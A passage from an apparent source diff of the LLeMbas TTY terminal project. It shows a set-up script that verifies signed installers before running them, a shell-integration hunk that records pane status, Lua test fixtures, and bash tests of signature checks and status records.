# the LLeMbas CLI (`lembas`) and LLeMbas IDE (`llembas-ide`) — each as its own installation,
# the same one you use outside this terminal. The terminal carries no copy of either.
#
# llembas-tty-setup [--yes] [--dry-run] [--channel stable|beta] [--no-cli] [--no-ide]
#
# For each one that is not installed it says what it would do and asks. What it then runs is
# that product's own installer, from that product's own release, and only after checking it:
# the release's SHA256SUMS must be signed with the LLeMbas release key, and the installer must
# match SHA256SUMS. Nothing runs as root; nothing that is already installed is touched (each
# product updates itself: `lembas update`, `llembas-ide update`).
#
# Environment (for a mirror or a build of your own):
# LLEMBAS_SETUP_FORGE where the releases are (default https://github.com)
# LLEMBAS_SETUP_API its releases API (default https://api.github.com)
# LLEMBAS_SETUP_PUBKEY the ssh-ed25519 key SHA256SUMS.sig must be signed with
set -euo pipefail
FORGE="${LLEMBAS_SETUP_FORGE:-https://github.com}"
API="${LLEMBAS_SETUP_API:-https://api.github.com}"
PUBKEY="${LLEMBAS_SETUP_PUBKEY:-ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDSZO3Byow7R3ZpOH3MCvpPIga2pZBzhfX5wXfNP1cLa}"
NAMESPACE=lembas-release
CLI_SLUG=LLeMbas/LLeMbas-CLI
IDE_SLUG=LLeMbas/LLeMbas-IDE
YES=0
DRY=0
WANT_CLI=1
WANT_IDE=1
CHANNEL=""
TMP=""
say() { printf '%s\n' "$*"; }
note() { printf ' %s\n' "$*"; }
warn() { printf 'llembas-tty-setup: %s\n' "$*" >&2; }
die() {
warn "$*"
exit 1
}
cleanup() {
local status=$?
trap - EXIT
[ -z "$TMP" ] || rm -rf "$TMP"
exit "$status"
}
# Started by the terminal in a pane of its own, the pane closes with this program: wait for a
# key first, so that what was said can be read.
pause() {
[ -n "${LLEMBAS_TTY_PANE:-}" ] && [ "$YES" != 1 ] && [ -r /dev/tty ] || return 0
printf '\nPress Enter to close. ' >/dev/tty
read -r _ </dev/tty || true
}
# The channel of this terminal unless one was named: a beta terminal installs betas.
channel() {
if [ -n "$CHANNEL" ]; then
printf '%s' "$CHANNEL"
return
fi
case "${LLEMBAS_TTY:-}" in *-*) printf beta ;; *) printf stable ;; esac
}
# A program on PATH, or where both installers put theirs.
have() {
command -v "$1" 2>/dev/null && return 0
[ -x "$HOME/.local/bin/$1" ] && printf '%s\n' "$HOME/.local/bin/$1" && return 0
return 1
}
ask() { # question; answers yes with --yes, no where nobody can answer
[ "$YES" = 1 ] && return 0
[ -r /dev/tty ] || return 1
local answer
printf '%s [Y/n] ' "$1" >/dev/tty
read -r answer </dev/tty || return 1
case "$answer" in "" | y | Y | yes | Yes) return 0 ;; *) return 1 ;; esac
}
fetch() { # url, file — https only, or a file on this machine
case "$1" in
https://* | file:///*) ;;
*) die "refusing to download $1: only https:// (or a local file://) is used" ;;
esac
curl -fsSL --retry 2 --proto '=https,file' --proto-redir '=https' -o "$2" "$1"
}
# The newest release tag of a repository on a channel: vX.Y.Z, and on beta also vX.Y.Z-beta.N.
newest() { # slug, channel
local slug="$1" chan="$2" list="$TMP/releases.json" tag url
url="$API/repos/$slug/releases"
# A listing kept as a file (a mirror on this machine) has no query to answer.
case "$API" in file://*) ;; *) url="$url?per_page=50" ;; esac
fetch "$url" "$list" 2>/dev/null || return 1
# One "tag_name" a release, newest first; a draft has none that is published.
while IFS= read -r tag; do
case "$chan" in
beta) [[ "$tag" =~ ^v[0-9]+\.[0-9]+\.[0-9]+(-beta\.[0-9]+)?$ ]] && printf '%s' "$tag" && return 0 ;;
*) [[ "$tag" =~ ^v[0-9]+\.[0-9]+\.[0-9]+$ ]] && printf '%s' "$tag" && return 0 ;;
esac
done < <(grep -o '"tag_name"[[:space:]]*:[[:space:]]*"[^"]*"' "$list" | sed -E 's/.*"([^"]*)"$/\1/')
return 1
}
# A release's installer, checked: SHA256SUMS signed by the release key, the installer in it.
checked_installer() { # slug, tag, installer file name -> path of the checked file
local slug="$1" tag="$2" name="$3" dir base
dir="$TMP/$(printf '%s' "$slug-$tag" | tr '/' '-')"
base="$FORGE/$slug/releases/download/$tag"
mkdir -p "$dir"
command -v ssh-keygen >/dev/null 2>&1 || die "needs ssh-keygen (openssh-client): it checks the release's signature"
command -v sha256sum >/dev/null 2>&1 || die "needs sha256sum: it checks what was downloaded"
fetch "$base/SHA256SUMS" "$dir/SHA256SUMS" || die "could not download SHA256SUMS of $slug $tag — nothing installed"
fetch "$base/SHA256SUMS.sig" "$dir/SHA256SUMS.sig" 2>/dev/null || die "$slug $tag is not signed (no SHA256SUMS.sig) — nothing installed"
fetch "$base/$name" "$dir/$name" || die "could not download $name of $slug $tag — nothing installed"
printf '%s %s\n' "$NAMESPACE" "$PUBKEY" >"$dir/allowed"
ssh-keygen -Y verify -f "$dir/allowed" -I "$NAMESPACE" -n "$NAMESPACE" -s "$dir/SHA256SUMS.sig" <"$dir/SHA256SUMS" >/dev/null 2>&1 ||
die "SHA256SUMS of $slug $tag is not signed by the LLeMbas release key — nothing installed"
(cd "$dir" && grep -E "^[0-9a-f]{64} \*?$name\$" SHA256SUMS | sed 's/ \*/ /' | sha256sum -c --strict --quiet - >/dev/null 2>&1) ||
die "$name of $slug $tag does not match its SHA256SUMS — nothing installed"
printf '%s' "$dir/$name"
}
setup_cli() {
local at tag chan installer
if at="$(have lembas)"; then
note "the LLeMbas CLI is installed: $at ($("$at" --version 2>/dev/null | head -n1 || echo "version unknown"))"
return 0
fi
chan="$(channel)"
say "The LLeMbas CLI (lembas) is not installed."
if [ "$DRY" = 1 ]; then
note "would find the newest $chan release of $CLI_SLUG, check its get.sh against the release key, and run it"
note "it installs for this user only, into ~/.local/bin and ~/.local/share/lembas"
return 0
fi
ask "Install it now, for this user only?" || {
note "left out"
return 0
}
tag="$(newest "$CLI_SLUG" "$chan")" || die "no $chan release of $CLI_SLUG was found (is this machine online?) — nothing installed"
installer="$(checked_installer "$CLI_SLUG" "$tag" get.sh)"
note "LLeMbas CLI $tag: signature good, installing"
LEMBAS_REF="$tag" LEMBAS_CHANNEL="$chan" bash "$installer" || die "the LLeMbas CLI's installer stopped — see above"
}
setup_ide() {
local at tag chan installer
if at="$(have llembas-ide)"; then
note "LLeMbas IDE is installed: $at"
return 0
fi
chan="$(channel)"
say "LLeMbas IDE (llembas-ide, the editor) is not installed."
if [ "$DRY" = 1 ]; then
note "would find the newest $chan release of $IDE_SLUG, check its install.sh against the release key, and run it"
note "it installs for this user only, under its own name: your own Neovim is not touched"
return 0
fi
ask "Install it now, for this user only?" || {
note "left out"
return 0
}
tag="$(newest "$IDE_SLUG" "$chan")" || die "no $chan release of $IDE_SLUG was found (is this machine online?) — nothing installed"
installer="$(checked_installer "$IDE_SLUG" "$tag" install.sh)"
note "LLeMbas IDE $tag: signature good, installing"
# --no-cli: the CLI is this program's own step above.
bash "$installer" --version "${tag#v}" --channel "$chan" --no-cli --yes || die "LLeMbas IDE's installer stopped — see above"
}
main() {
trap cleanup EXIT
while [ $# -gt 0 ]; do
case "$1" in
--yes) YES=1 ;;
--dry-run) DRY=1 ;;
--no-cli) WANT_CLI=0 ;;
--no-ide) WANT_IDE=0 ;;
--channel)
CHANNEL="${2:?--channel needs stable or beta}"
shift
;;
-h | --help)
sed -n '2,12p' "$0" | sed 's/^# \{0,1\}//'
return 0
;;
*) die "unknown option $1 (see --help)" ;;
esac
shift
done
case "$(channel)" in stable | beta) ;; *) die "--channel is stable or beta" ;; esac
[ "$DRY" = 1 ] || TMP="$(mktemp -d)"
say "LLeMbas TTY set-up ($(channel) releases)"
[ "$WANT_CLI" != 1 ] || setup_cli
[ "$WANT_IDE" != 1 ] || setup_ide
if [ "$DRY" != 1 ]; then
say ""
if have lembas >/dev/null; then
say "To use LLeMbas, log in to your server once: lembas login <address of your server>"
say "(or the command palette entry \"LLeMbas: log in\")."
fi
# shellcheck disable=SC2088,SC2016 # said to the person as they would type it
case ":$PATH:" in
*":$HOME/.local/bin:"*) ;;
*) [ ! -d "$HOME/.local/bin" ] || say '~/.local/bin is not on your PATH: the terminal finds both programs there anyway; for your shell add export PATH="$HOME/.local/bin:$PATH"' ;;
esac
fi
pause
}
main "$@"
+155 -1
View File
@@ -6,7 +6,7 @@
#
# [ -n "$LLEMBAS_TTY" ] && . /usr/share/llembas-tty/shell/llembas-tty.sh
#
# It does two things, and only inside LLeMbas TTY, only in an interactive shell:
# It does three things, and only inside LLeMbas TTY, only in an interactive shell:
#
# 1. Semantic zones and the working directory (OSC 133, OSC 7), by WezTerm's
# own integration script, shipped beside this file as wezterm.sh. That is
@@ -14,6 +14,32 @@
# The WEZTERM_SHELL_SKIP_* variables documented in that file apply.
# 2. Prompt autocomplete, when it was turned on (`autocomplete = true` in the
# LLeMbas layer's options exports LLEMBAS_TTY_AUTOCOMPLETE=1). Off by default.
# 3. The pane's status record: at every prompt, and when a command starts, a
# few lines that say where this shell stands - at its prompt or running a
# command, how the last command ended, when, in which directory. It says
# nothing of what the command was. It is how the terminal, and LLeMbas when
# it types a command into this pane for you, know that the command has
# ended. It goes two ways:
# - the file pane-<LLEMBAS_TTY_PANE>.status in the status directory
# ($LLEMBAS_TTY_STATUS_DIR, else $XDG_RUNTIME_DIR/llembas-tty, else
# $XDG_STATE_HOME/llembas-tty), readable by you alone, replaced whole.
# Not in a shell reached over SSH: the file would be on the wrong machine;
# - the user variable llembas_tty_status of the pane (OSC 1337 SetUserVar),
# which reaches the terminal from another machine too.
# LLEMBAS_TTY_SKIP_STATUS=1 turns it off.
#
# The record, a key=value line each:
# llembas-tty-status=1
# id=<this shell: its process id and when it started>
# seq=<up by one at every prompt>
# state=prompt | running
# exit=<status of the command before this prompt; absent before the first>
# ran=1 (at a prompt: a command line ran since the prompt before)
# time=<seconds since the epoch>
# shell=bash | zsh
# pid=<the shell's process id; not over SSH>
# host=<the machine; only over SSH>
# cwd=<the working directory>
if [ -z "${LLEMBAS_TTY-}" ]; then
return 0
@@ -55,5 +81,133 @@ if [ "${LLEMBAS_TTY_AUTOCOMPLETE-}" = "1" ]; then
fi
fi
if [ "${LLEMBAS_TTY_SKIP_STATUS-}" != "1" ] && [ -z "${__llembas_tty_seq-}" ]; then
__llembas_tty_seq=0
__llembas_tty_ran=
__llembas_tty_exit=
__llembas_tty_now="${EPOCHSECONDS-}"
[ -n "$__llembas_tty_now" ] || __llembas_tty_now="$(date +%s)"
__llembas_tty_id="$$.$__llembas_tty_now"
if [ -n "${ZSH_NAME-}" ]; then
__llembas_tty_shell=zsh
else
__llembas_tty_shell=bash
fi
# The file, on the terminal's own machine only and for a pane with a number.
__llembas_tty_status_file=
if [ -z "${SSH_CONNECTION-}" ] && [ -z "${SSH_TTY-}" ]; then
case "${LLEMBAS_TTY_PANE-}" in
'' | *[!0-9]*) ;;
*)
case "${LLEMBAS_TTY_STATUS_DIR-}" in
/*) __llembas_tty_status_file="$LLEMBAS_TTY_STATUS_DIR" ;;
*)
case "${XDG_RUNTIME_DIR-}" in
/*) __llembas_tty_status_file="$XDG_RUNTIME_DIR/llembas-tty" ;;
*)
case "${XDG_STATE_HOME-}" in
/*) __llembas_tty_status_file="$XDG_STATE_HOME/llembas-tty" ;;
*) [ -z "${HOME-}" ] || __llembas_tty_status_file="$HOME/.local/state/llembas-tty" ;;
esac
;;
esac
;;
esac
[ -z "$__llembas_tty_status_file" ] || __llembas_tty_status_file="$__llembas_tty_status_file/pane-$LLEMBAS_TTY_PANE.status"
;;
esac
fi
# __llembas_tty_record <state>: write the record both ways. The directory's
# name is cut at a line break: a record is one fact a line.
__llembas_tty_record() {
local now record cwd="${PWD%%$'\n'*}"
now="${EPOCHSECONDS-}"
[ -n "$now" ] || now="$(date +%s)"
record="llembas-tty-status=1
id=$__llembas_tty_id
seq=$__llembas_tty_seq
state=$1"
[ -z "$__llembas_tty_exit" ] || record="$record
exit=$__llembas_tty_exit"
if [ "$1" = prompt ] && [ -n "$__llembas_tty_ran" ]; then
record="$record
ran=1"
fi
record="$record
time=$now
shell=$__llembas_tty_shell"
if [ -n "${SSH_CONNECTION-}" ] || [ -n "${SSH_TTY-}" ]; then
record="$record
host=${HOSTNAME:-${HOST:-unknown}}"
else
record="$record
pid=$$"
fi
record="$record
cwd=${cwd:0:1024}"
if [ -n "$__llembas_tty_status_file" ]; then
# Made beside the file, closed to everybody else, then moved over it:
# a reader sees the old record or the new one, never half of one.
(
umask 077
[ -d "${__llembas_tty_status_file%/*}" ] || mkdir -p "${__llembas_tty_status_file%/*}"
printf '%s\n' "$record" >"$__llembas_tty_status_file.$$" &&
mv -f "$__llembas_tty_status_file.$$" "$__llembas_tty_status_file"
) 2>/dev/null
fi
if command -v base64 >/dev/null 2>&1; then
if [ -z "${TMUX-}" ]; then
printf '\033]1337;SetUserVar=%s=%s\007' llembas_tty_status "$(printf '%s\n' "$record" | base64 | tr -d '\r\n')"
else
# shellcheck disable=SC1003 # the backslash that ends tmux's passthrough
printf '\033Ptmux;\033\033]1337;SetUserVar=%s=%s\007\033\\' llembas_tty_status "$(printf '%s\n' "$record" | base64 | tr -d '\r\n')"
fi
fi
}
__llembas_tty_preexec() {
__llembas_tty_ran=1
__llembas_tty_record running
}
__llembas_tty_precmd() {
local ret="$?"
__llembas_tty_seq=$((__llembas_tty_seq + 1))
# Before the first prompt no command of this shell has ended.
if [ "$__llembas_tty_seq" -gt 1 ]; then
__llembas_tty_exit="$ret"
fi
__llembas_tty_record prompt
__llembas_tty_ran=
return "$ret"
}
if [ -n "${ZSH_NAME-}" ] || [ -n "${bash_preexec_imported-}" ]; then
# First of the prompt's functions, so that $? is still the command's.
precmd_functions=(__llembas_tty_precmd "${precmd_functions[@]}")
else
PROMPT_COMMAND="__llembas_tty_precmd${PROMPT_COMMAND:+;$PROMPT_COMMAND}"
fi
if [ -n "${ZSH_NAME-}" ]; then
preexec_functions+=(__llembas_tty_preexec)
elif [ "${BASH_VERSINFO[0]}" -gt 4 ] || { [ "${BASH_VERSINFO[0]}" -eq 4 ] && [ "${BASH_VERSINFO[1]}" -ge 4 ]; }; then
# bash 4.4 and newer expand PS0 after every command line that is about to
# run, and never for an empty one. (bash-preexec, which WezTerm's script
# brings, does not see a command line that is all one subshell.) What the
# first expansion prints is the record's user variable; the second prints
# nothing and notes, in this shell, that a command ran.
__llembas_tty_mark=
# shellcheck disable=SC2016 # expanded by bash at each command, not here
PS0="${PS0-}"'$(__llembas_tty_record running)${__llembas_tty_mark:$((__llembas_tty_ran=1,0)):0}'
elif [ -n "${bash_preexec_imported-}" ]; then
preexec_functions+=(__llembas_tty_preexec)
else
# Nothing tells a command from an empty line here: none is said to have run.
:
fi
fi
unset __llembas_tty_dir
true
+58 -2
View File
@@ -15,6 +15,8 @@ function F.new(env)
logs = {},
spawned = {},
child_results = env.child_results or {},
-- the terminal's own drawing part, when a test gives one (see F.native)
llembas = env.native,
}
-- wezterm.action.Name(args) and wezterm.action.Name { … } give a table
@@ -96,6 +98,43 @@ function F.new(env)
return w
end
-- The terminal's own part (`wezterm.llembas`), recording what it is asked.
function F.native()
local n = { calls = {} }
for _, name in ipairs { 'ask_line', 'configure', 'notice', 'hint', 'status', 'set_private', 'command_ended', 'clear_history' } do
n[name] = function(...)
n.calls[#n.calls + 1] = { name, ... }
return true
end
end
-- the terminal's side of the autocomplete in words, and its data directory
-- (a test sets n.status_text and n.dir)
function n.complete_status()
return n.status_text or 'engine: none'
end
function n.data_dir()
return n.dir or ''
end
function n.last(name)
for i = #n.calls, 1, -1 do
if n.calls[i][1] == name then
return n.calls[i]
end
end
return nil
end
function n.count(name)
local c = 0
for _, call in ipairs(n.calls) do
if call[1] == name then
c = c + 1
end
end
return c
end
return n
end
-- A pane that records what is sent to it.
function F.pane(spec)
local p = {
@@ -141,6 +180,9 @@ function F.pane(spec)
function p:tab()
return spec.tab
end
function p:activate()
self.activated = (self.activated or 0) + 1
end
function p:send_text(text)
self.sent[#self.sent + 1] = { 'text', text }
end
@@ -151,16 +193,23 @@ function F.pane(spec)
self.splits[#self.splits + 1] = args
local new = F.pane { id = (spec.next_id or 100) + #self.splits }
self.last_split = new
if spec.tab then
table.insert(spec.tab.list, new)
new.spec.tab = spec.tab
end
return new
end
return p
end
function F.tab(panes)
local t = { list = panes }
function F.tab(panes, id)
local t = { list = panes, id = id or 1 }
function t:panes()
return self.list
end
function t:tab_id()
return self.id
end
for _, p in ipairs(panes) do
p.spec.tab = t
end
@@ -173,8 +222,15 @@ function F.window(id)
return self.id
end
function win:perform_action(action, pane)
-- an action that takes nothing is given by its name alone (act.TogglePaneZoomState)
if type(action) == 'function' then
action = action()
end
self.actions[#self.actions + 1] = { action = action, pane = pane }
end
function win:active_pane()
return self.active
end
function win:set_right_status(text)
self.status = text
end
+1363 -212
View File
File diff suppressed because it is too large. Load diff
+87
View File
@@ -0,0 +1,87 @@
#!/usr/bin/env bash
# The set-up program without a network: what it says when everything is there, what it would do
# when nothing is, and that a release that is not signed by the release key is refused.
#
# llembas/tests/setup-test.sh
set -uo pipefail
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
SETUP="$ROOT/llembas/setup/llembas-tty-setup"
work="$(mktemp -d)"
trap 'rm -rf "${work:?}"' EXIT
failed=0
ok() { echo "ok $1"; }
bad() {
echo "FAIL $1"
[ -z "${GITHUB_ACTIONS:-}" ] || printf '::error title=setup::%s\n' "$(printf '%s' "$1" | head -c 900 | tr '\n\r' ' ')"
failed=1
}
expect() { if printf '%s' "$2" | grep -Eq -- "$3"; then ok "$1"; else bad "$1: wanted /$3/ in: $2"; fi; }
refuse() { if printf '%s' "$2" | grep -Eq -- "$3"; then bad "$1: found /$3/ in: $2"; else ok "$1"; fi; }
# A home with nothing in it, and only the system's tools on PATH.
run() { # home, then the program's arguments and environment through env
local home="$1"
shift
env -i PATH=/usr/bin:/bin HOME="$home" LANG=C.UTF-8 "$@" </dev/null 2>&1
}
mkdir -p "$work/empty" "$work/full/.local/bin"
printf '#!/bin/sh\necho 2.0.0-beta.18\n' >"$work/full/.local/bin/lembas"
printf '#!/bin/sh\n' >"$work/full/.local/bin/llembas-ide"
chmod +x "$work/full/.local/bin/lembas" "$work/full/.local/bin/llembas-ide"
out="$(run "$work/full" bash "$SETUP" --yes)"
expect "what is installed is found in ~/.local/bin, off PATH" "$out" "the LLeMbas CLI is installed: $work/full/.local/bin/lembas \(2\.0\.0-beta\.18\)"
expect "and LLeMbas IDE" "$out" "LLeMbas IDE is installed: $work/full/.local/bin/llembas-ide"
expect "it says how to log in" "$out" "lembas login"
refuse "and installs nothing" "$out" "installing|would find"
out="$(run "$work/empty" bash "$SETUP" --dry-run)"
expect "dry run: the CLI would be installed" "$out" "LLeMbas CLI \(lembas\) is not installed"
expect "dry run: from the stable releases by default" "$out" "would find the newest stable release of LLeMbas/LLeMbas-CLI"
expect "dry run: the IDE too" "$out" "would find the newest stable release of LLeMbas/LLeMbas-IDE"
if [ -z "$(find "$work/empty" -mindepth 1 | head -n1)" ]; then ok "a dry run writes nothing"; else bad "a dry run wrote: $(find "$work/empty" -mindepth 1 | head)"; fi
out="$(run "$work/empty" LLEMBAS_TTY=1.0.0-beta.3 bash "$SETUP" --dry-run --no-ide)"
expect "a beta terminal asks for the betas" "$out" "newest beta release of LLeMbas/LLeMbas-CLI"
refuse "--no-ide leaves the IDE out" "$out" "LLeMbas-IDE"
out="$(run "$work/empty" bash "$SETUP")"
expect "nobody to answer: nothing is installed" "$out" "left out"
if [ -z "$(find "$work/empty" -mindepth 1 | head -n1)" ]; then ok "and nothing is written"; else bad "written without an answer: $(find "$work/empty" -mindepth 1 | head)"; fi
# A release on this machine: a listing, an installer that would leave a mark, and sums.
rel="$work/forge/LLeMbas/LLeMbas-CLI/releases/download/v9.9.9"
mkdir -p "$rel" "$work/api/repos/LLeMbas/LLeMbas-CLI"
printf '[{"tag_name": "v9.9.9-beta.1", "prerelease": true}, {"tag_name": "v9.9.9", "prerelease": false}]' >"$work/api/repos/LLeMbas/LLeMbas-CLI/releases"
# shellcheck disable=SC2016 # written into the stand-in installer as it is
printf '#!/bin/sh\necho "ran with ref=$LEMBAS_REF" > "$HOME/ran"\n' >"$rel/get.sh"
(cd "$rel" && sha256sum get.sh >SHA256SUMS)
ssh-keygen -q -t ed25519 -N '' -C test -f "$work/key" >/dev/null
ssh-keygen -q -t ed25519 -N '' -C other -f "$work/other" >/dev/null
local_forge=(LLEMBAS_SETUP_FORGE="file://$work/forge" LLEMBAS_SETUP_API="file://$work/api" LLEMBAS_SETUP_PUBKEY="$(cut -d' ' -f1,2 "$work/key.pub")")
mkdir -p "$work/h1" "$work/h2" "$work/h3" "$work/h4"
out="$(run "$work/h1" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
expect "an unsigned release is refused" "$out" "is not signed \(no SHA256SUMS.sig\)"
if [ ! -e "$work/h1/ran" ]; then ok "and its installer does not run"; else bad "an unsigned installer ran"; fi
ssh-keygen -Y sign -q -f "$work/other" -n lembas-release "$rel/SHA256SUMS"
out="$(run "$work/h2" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
expect "a release signed with another key is refused" "$out" "not signed by the LLeMbas release key"
if [ ! -e "$work/h2/ran" ]; then ok "and its installer does not run"; else bad "an installer signed by another key ran"; fi
rm -f "$rel/SHA256SUMS.sig"
ssh-keygen -Y sign -q -f "$work/key" -n lembas-release "$rel/SHA256SUMS"
printf '\n# changed after signing\n' >>"$rel/get.sh"
out="$(run "$work/h3" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
expect "an installer that does not match the signed sums is refused" "$out" "does not match its SHA256SUMS"
if [ ! -e "$work/h3/ran" ]; then ok "and does not run"; else bad "a changed installer ran"; fi
(cd "$rel" && sha256sum get.sh >SHA256SUMS) && rm -f "$rel/SHA256SUMS.sig"
ssh-keygen -Y sign -q -f "$work/key" -n lembas-release "$rel/SHA256SUMS"
out="$(run "$work/h4" "${local_forge[@]}" bash "$SETUP" --yes --no-ide)"
expect "a signed, matching release is installed" "$out" "LLeMbas CLI v9\.9\.9: signature good, installing"
expect "the stable channel takes the release, not the beta beside it" "$(cat "$work/h4/ran" 2>/dev/null)" "^ran with ref=v9\.9\.9$"
[ "$failed" -eq 0 ] && echo "setup: all passed"
exit "$failed"
+101
View File
@@ -0,0 +1,101 @@
#!/usr/bin/env bash
# The shell integration's command record (llembas/shell/llembas-tty.sh), in a real interactive
# bash and zsh on a terminal of their own (script(1): bash tells a command from an empty line
# only on a terminal): the file and the user variable, what counts as a command, and that
# nothing at all happens outside LLeMbas TTY.
#
# llembas/tests/shell-test.sh
set -uo pipefail
ROOT="$(cd "$(dirname "$0")/../.." && pwd)"
work="$(mktemp -d)"
trap 'rm -rf "${work:?}"' EXIT
failed=0
ok() { echo "ok $1"; }
bad() {
echo "FAIL $1"
[ -z "${GITHUB_ACTIONS:-}" ] || printf '::error title=shell::%s\n' "$(printf '%s' "$1" | head -c 900 | tr '\n\r' ' ' | sed 's/%/%25/g')"
failed=1
}
expect() { if printf '%s' "$2" | grep -Eq -- "$3"; then ok "$1"; else bad "$1: wanted /$3/ in: $2"; fi; }
# run <name> <shell words…>: the lines on stdin are typed into that shell, in a home and a
# runtime directory of its own. Extra variables come through EXTRA (one VAR=value a word).
run() {
local name="$1"
shift
mkdir -p "$work/$name/run" "$work/$name/home"
# shellcheck disable=SC2086 # EXTRA and SHELL_DIR_OFF are words on purpose
# The lines are typed slowly enough for each prompt to be there first.
while IFS= read -r line || [ -n "$line" ]; do
printf '%s\n' "$line"
sleep 0.3
done | env -i PATH=/usr/bin:/bin TERM=xterm-256color HOME="$work/$name/home" XDG_RUNTIME_DIR="$work/$name/run" \
LLEMBAS_TTY_SHELL_DIR="$ROOT/assets/shell-integration" ${EXTRA-} ${SHELL_DIR_OFF-} \
script -qec "$*" /dev/null 2>&1 | cat -v
}
# field <name> <record text>: the value of one key of a record.
field() { printf '%s\n' "$2" | sed -n "s/^$1=//p" | head -n 1; }
# The records in what a shell printed (the user variable, decoded), one a line, each as
# "<seq> <state> <exit or -> <ran or ->".
records() {
printf '%s\n' "$1" | grep -o 'SetUserVar=llembas_tty_status=[A-Za-z0-9+/=]*' | while IFS= read -r v; do
text="$(printf '%s\n' "${v#SetUserVar=llembas_tty_status=}" | base64 -d)"
e="$(field exit "$text")"
r="$(field ran "$text")"
printf '%s %s %s %s\n' "$(field seq "$text")" "$(field state "$text")" "${e:--}" "${r:--}"
done
}
for shell in bash zsh; do
command -v "$shell" >/dev/null 2>&1 || { echo "skip $shell: not here"; continue; }
case "$shell" in
bash) words=(bash --norc --noprofile -i) ;;
*) words=(zsh -f -i +Z) ;;
esac
# A first prompt, a command that works, an empty line, one that fails with 3 and is all a
# subshell (which bash-preexec alone would not see).
script=". '$ROOT/llembas/shell/llembas-tty.sh'"$'\ntrue\n\n(exit 3)\nexit\n'
want='^1 prompt - -,1 running - -,2 prompt 0 1,3 prompt 0 -,3 running 0 -,4 prompt 3 1,4 running 3 -,$'
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7" run "$shell-in" "${words[@]}")"
file="$work/$shell-in/run/llembas-tty/pane-7.status"
expect "$shell: a record at every prompt and when a command starts; an empty line ran nothing" "$(records "$out" | tr '\n' ',')" "$want"
text="$(cat "$file" 2>/dev/null)"
expect "$shell: the file starts with the format's line" "$(printf '%s\n' "$text" | head -n 1)" '^llembas-tty-status=1$'
expect "$shell: the file holds the last record (exit, as it was typed, started)" "$(field seq "$text") $(field state "$text") $(field exit "$text")" '^4 running 3$'
expect "$shell: the record names the shell, its process and its directory" "$(field shell "$text") $(field pid "$text") $(field id "$text") $(field cwd "$text") $(field time "$text")" "^$shell [0-9]+ [0-9]+\.[0-9]+ /.* [0-9]{9,}\$"
expect "$shell: the file is the person's alone" "$(stat -c %a "$file" 2>/dev/null)" '^600$'
expect "$shell: nothing is left beside the file" "$(cd "$work/$shell-in/run/llembas-tty" 2>/dev/null && find . -type f | sort | tr '\n' ' ')" '^\./pane-7\.status $'
expect "$shell: the exit status still reaches the prompt" "$(printf '%s' ". '$ROOT/llembas/shell/llembas-tty.sh'"$'\n(exit 5)\necho "status=$?"\nexit\n' | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7" run "$shell-st" "${words[@]}")" 'status=5'
# The directory the terminal names is where the file goes; else the state directory.
mkdir -p "$work/$shell-dir/elsewhere"
printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=12 LLEMBAS_TTY_STATUS_DIR=$work/$shell-dir/elsewhere" run "$shell-dir" "${words[@]}" >/dev/null
expect "$shell: in LLEMBAS_TTY_STATUS_DIR" "$(field seq "$(cat "$work/$shell-dir/elsewhere/pane-12.status" 2>/dev/null)")" '^4$'
printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=3 XDG_RUNTIME_DIR= XDG_STATE_HOME=$work/$shell-state/state" run "$shell-state" "${words[@]}" >/dev/null
expect "$shell: with no runtime directory, in the state directory" "$(field seq "$(cat "$work/$shell-state/state/llembas-tty/pane-3.status" 2>/dev/null)")" '^4$'
# A pane id that is not a number names no file; the variable is still set.
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=../x" run "$shell-bad" "${words[@]}")"
expect "$shell: a pane id that is not a number writes no file" "$(find "$work/$shell-bad/run" -type f | wc -l)" '^0$'
expect "$shell: and the variable is still set" "$(records "$out" | tr '\n' ',')" "$want"
# Over SSH the file would be on the wrong machine: the variable alone, naming the machine.
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7 SSH_CONNECTION=x HOSTNAME=workstation HOST=workstation" run "$shell-ssh" "${words[@]}")"
one="$(printf '%s\n' "$out" | grep -o 'SetUserVar=llembas_tty_status=[A-Za-z0-9+/=]*' | head -n 1 | sed 's/.*=llembas_tty_status=//' | base64 -d)"
expect "$shell: over SSH no file is written" "$(find "$work/$shell-ssh/run" -type f | wc -l)" '^0$'
expect "$shell: over SSH the record names the machine and no process" "host=$(field host "$one") pid=$(field pid "$one")" '^host=workstation pid=$'
# Without WezTerm's script (no command marks at all), the record is still kept.
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7" SHELL_DIR_OFF="LLEMBAS_TTY_SHELL_DIR=$work/nowhere" run "$shell-alone" "${words[@]}")"
expect "$shell: kept without the command marks too" "$(records "$out" | tr '\n' ',')" "$want"
# Turned off, and outside LLeMbas TTY: nothing.
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY=1.0.0 LLEMBAS_TTY_PANE=7 LLEMBAS_TTY_SKIP_STATUS=1" run "$shell-off" "${words[@]}")"
expect "$shell: LLEMBAS_TTY_SKIP_STATUS=1 turns it off" "$(records "$out" | wc -l) $(find "$work/$shell-off/run" -type f | wc -l)" '^0 0$'
out="$(printf '%s' "$script" | EXTRA="LLEMBAS_TTY_PANE=7" run "$shell-out" "${words[@]}")"
expect "$shell: outside LLeMbas TTY nothing is written and nothing is printed" "$(printf '%s' "$out" | grep -c 'SetUserVar\|133;') $(find "$work/$shell-out/run" -type f | wc -l)" '^0 0$'
done
[ "$failed" -eq 0 ] && echo "shell: all passed"
exit "$failed"
+50
View File
@@ -102,6 +102,56 @@ return config
LUA
own="$(clean "$TTY" show-keys --lua 2>"$work/keys-err.txt")"
expect "a person's own file in our directory is read, and require 'llembas' works there" "$own" "F9"
# The terminal's own drawing part is there for the layer (wezterm.llembas), takes what the
# layer tells it, and the layer applied over it still binds its keys.
cat > "$work/cfg/llembas-tty/llembas-tty.lua" <<'LUA'
